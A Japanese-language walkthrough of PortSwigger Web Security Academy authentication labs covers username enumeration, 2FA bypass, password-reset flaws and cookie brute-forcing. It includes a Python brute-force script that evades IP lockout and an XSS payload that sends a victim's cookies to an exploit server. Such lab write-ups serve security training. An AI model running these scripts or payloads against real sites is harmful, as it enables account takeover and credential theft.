---
# System prepended metadata

title: Web Security Academy Authenticate Vulnerabilities
tags: [Web Security Academy]

---

# Web Security Academy Authenticate Vulnerabilities writeup

[toc]

- [username list](https://portswigger.net/web-security/authentication/auth-lab-usernames)
- [password list](https://portswigger.net/web-security/authentication/auth-lab-passwords)

## Username enumeration via different responses

`username list`使い、Burp SuiteのIntruderでBrute Forceを行うと、あるusernameでpasswordを間違えたときの挙動が`Invalid password`になることがわかります。

このusernameをコピーしておき、password listを使いBrute Forceを行うだけです。

## 2FA simple bypass

- 与えられている条件
    - my credentials
        - wiener
        - peter
    - victim
        - carlos
        - montoya

ログインは以下の手順で行われます。

1. username: password : [POST] /login
2. 2FA画面 : [GET] /login2
3. 2FA code : [POST] /login2
4. /my-account?id={username}


victimのusername, passwordは取得しているため、2FAさえ迂回できればログインができそうです。

2FA Codeは4桁なのでブルートフォースを行いたくなりますが以下の理由からできなさそうです。

- [POST] /login2は一度間違えると二度と送れない。
- [GET] /login2に対してリクエストを送信すると2FAが新たに生成される
- 2FA codeは新規作成されたら古いものは破棄される。

そのため、そもそも2FA自体をやらない方法を考えてみます。

つまり、`1`が終わった段階で、`4`にリクエストを飛ばしてみるということです。

**手順**
`1`でログインが成功した際のCookieを取得しておきます。

取得したCookieを`/my-account?id=carlos`のリクエストに貼り付けて送信します。


上記手順でログインが確認できるはずです。

## Password reset broken logic

https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic

Password Resetを行う際の、`[POST] /forgot-password?temp-forgot-password-token={:Token}`のパラメータに明らかに違和感があります。

```text=
temp-forgot-password-token=s3t5r45rdhfo8upxpxh5mh2aeenhekp3&username=wiener&new-password-1=password&new-password-2=password
```

usernmaeを受け付けていることから、ここを変えたら任意のユーザのパスワードが変更できないかを見る必要がありそうです。

ということでやるとできます。

また、パスワードリセットリンクが何度も使用可能なのはどうなの？という気持ちになりました。

## Username enumeration via subtly different responses

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses

存在するusername, 誤ったパスワードを入力した際、本来のエラーメッセージ`Invalid username or password.`ではなく`Invalid username or password`となります。

responseが異なるユーザ名に対してpassword listでBrute Forceを仕掛けることでラボがクリアできます。

## Username enumeration via response timing

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

タイミングを見るため`Reseource pool`を設定するほうが良い気がします[^1]

Resource poolで、`Maximum concurrent requests: 1`, `Delay between requests: 100`にしておきます。

適当なパスワード`inv`を入れ、usernameに対してBrute Forceを仕掛けると、`auction`だけ少しレスポンスが遅いことがわかりました。

responseが少し遅いアカウントに対してpasswordを総当りするとログインができるはずです。

## Broken brute-force protection, IP block

https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block

5回ほど誤った認証情報でアクセスするとロックがかかります。

4回誤った認証情報 + 正しい認証情報で試してみます。

そうすると実質永遠に試すことができることがわかります。

めんどくさいのでコードを書いてしまいます。

<details>

<summary>solver.py</summary>
    
```python=
import requests
import os
URL = "https://0a90003d034c9fde80e5d1ad00d8005c.web-security-academy.net"
# burpに通信を通すためのやつ。
os.environ["REQUESTS_CA_BUNDLE"] = "./cert.pem"
os.environ["HTTP_PROXY"] = "http://localhost:8080"
os.environ["HTTPS_PROXY"] = "http://localhost:8080"

password_list = [
    "123456",
    "password",
    "12345678",
    "qwerty",
    "123456789",
    "12345",
    "1234",
    "111111",
    "1234567",
    "dragon",
    "123123",
    "baseball",
    "abc123",
    "football",
    "monkey",
    "letmein",
    "shadow",
    "master",
    "666666",
    "qwertyuiop",
    "123321",
    "mustang",
    "1234567890",
    "michael",
    "654321",
    "superman",
    "1qaz2wsx",
    "7777777",
    "121212",
    "000000",
    "qazwsx",
    "123qwe",
    "killer",
    "trustno1",
    "jordan",
    "jennifer",
    "zxcvbnm",
    "asdfgh",
    "hunter",
    "buster",
    "soccer",
    "harley",
    "batman",
    "andrew",
    "tigger",
    "sunshine",
    "iloveyou",
    "2000",
    "charlie",
    "robert",
    "thomas",
    "hockey",
    "ranger",
    "daniel",
    "starwars",
    "klaster",
    "112233",
    "george",
    "computer",
    "michelle",
    "jessica",
    "pepper",
    "1111",
    "zxcvbn",
    "555555",
    "11111111",
    "131313",
    "freedom",
    "777777",
    "pass",
    "maggie",
    "159753",
    "aaaaaa",
    "ginger",
    "princess",
    "joshua",
    "cheese",
    "amanda",
    "summer",
    "love",
    "ashley",
    "nicole",
    "chelsea",
    "biteme",
    "matthew",
    "access",
    "yankees",
    "987654321",
    "dallas",
    "austin",
    "thunder",
    "taylor",
    "matrix",
    "mobilemail",
    "mom",
    "monitor",
    "monitoring",
    "montana",
    "moon",
    "moscow"
]

count = 0
session = requests.Session()

for password in password_list:
    if count == 2:
        session.post(URL+"/login", data={"username": "wiener", "password": "peter"})
        session.get(URL+"/logout")
        count = 0
    else:
        response = session.post(URL+"/login", data={"username": "carlos", "password": password})
        if response.status_code == 302:
            print(f"carlos:{password}")
        count += 1
```
</details>

## Username enumeration via account lock

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock

usernameに`username list`をセットし、パスワードに適当な値を入れておき`Null Payload`を5に選択してブルートフォースを仕掛けるとあるusernameの際のレスポンスが異なり、アカウントロックのエラーメッセージが出たことによるものだとわかります。

3回の試行でロックがかかることがわかりました。

このアカウントに対してパスワードでブルートフォースリクエストを飛ばしてみるとなぜか一つだけエラーメッセージがないものが現れます。

その際の認証情報を使ってログインを試すとログインができます。

## 2FA broken logic

https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic

ログイン周りを試してみると、`[GET] /login2`の`verify`Cookieに入れたユーザ名に2FA Codeが送られているこそうです。

2FAは4桁の数字のようなので、総当りができてしまいそうです。

`Cookie: verify=carlos`として、`mfa-code`に対してInsert Pointを指定し、`0000-9999`で総当りを試行し、302になった番号を使いログインを行うだけです。

## Brute-forcing a stay-logged-in cookie

https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie

ログイン画面に`Stay logged in`が付きました。

与えられている認証情報でログインすると、`wiener:51dc30ddc473d43a6011e9ebba6ca770`をbase64 encodeしている値を持っていることがわかります。

`51....`はmd5でハッシュ化された`peter`であることがわかります。

つまりログイン情報っぽいです。

`stay-logged-in`Cookieは、sessionに値が入っていなくても正しい値であれば認証後リソースを取得できます。

ではラボをクリアします。

今回はHackvertorが使えます。
以下のようにしてIntruderのインサートポイントを設定します。

```text=
stay-logged-in=<@base64>carlos:<@md5>§§<@/md5><@/base64>
```

インサートポイントに入れるものは、`password list`を設定しIntruderを回すと認証後リソースを得られクリアできます。

## Offline password cracking

https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking

XSSがあるらしいです。

`Stay-logged-in` Cookieは前回と同様md5でハッシュされたパスワードとusernameがbase64されています。

HttpOnlyはついていないので、XSSで抜いてくる感じでしょうか。

```htmlembedded=
<script>
let exploitServerURL = "https://exploit-0aa5002c035a410f81d6a192014900bd.exploit-server.net/exploit";

fetch(`${exploitServerURL}?cookie=${document.cookie}`)
</script>
```

```text=
/exploit?cookie=secret=VRt0BEVCMasyOozD1zFWxhI6pB1HKZmQ;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
```

これが送られてきました。

あとは、[crackstation](https://crackstation.net/)なりに入れてhashを解析してもらい出てきた認証情報でログインを行うだけです。

## Password reset poisoning via middleware

https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware

Password Reset Poisoningと言われたらああはい。になります。

ただHostヘッダを変えるだけでよい。わけではなさそうです。

こういうときは、`Header`を使うことを考えたくなります。

`X-Forwarded-Host`ヘッダを使うと良さそうです。

`X-Forwarded-Host: {YOUR-Exploit-Server-Domain}`をヘッダに付与しPassword Resetを送信するとうまく行きます。

あとは、送られてきたURLにアクセスして、パスワードを変更して終わりです。

## Password brute-force via password change

https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change

ログインするとパスワードリセット機能があり、ログイン機能には、アカウントロック機能がありそうです。

パスワードリセット機能は、現在のパスワードを間違えると`/login`に飛ばされてしまいます。

このとき、new Passwordが一致しているとアカウントロックがかかってしまいます。

現在のパスワードがあっていて、New passwordが一致していないときは、`New password do not match`がでて、現在のパスワード、`New password`が一致していないときは`Current Password Incorrect`が出ます。

この挙動を利用してパスワードに総当りができそうです。

２つの異なる値をnew Passwordに入れます。

これができたらusername=carlosとしてpasswordに対して総当りをおこないます。

`new Password do not match`が出た場合、それが現在のパスワードであることを示唆しているためそのパスワードを使用してログインを行うだけです。

## TODO Broken brute-force protection, multiple credentials per request
https://portswigger.net/web-security/authentication/password-based/lab-broken-brute-force-protection-multiple-credentials-per-request
## TODO 2FA bypass using a brute-force attack
https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack
[^1]: 本当に良いかはわかりません。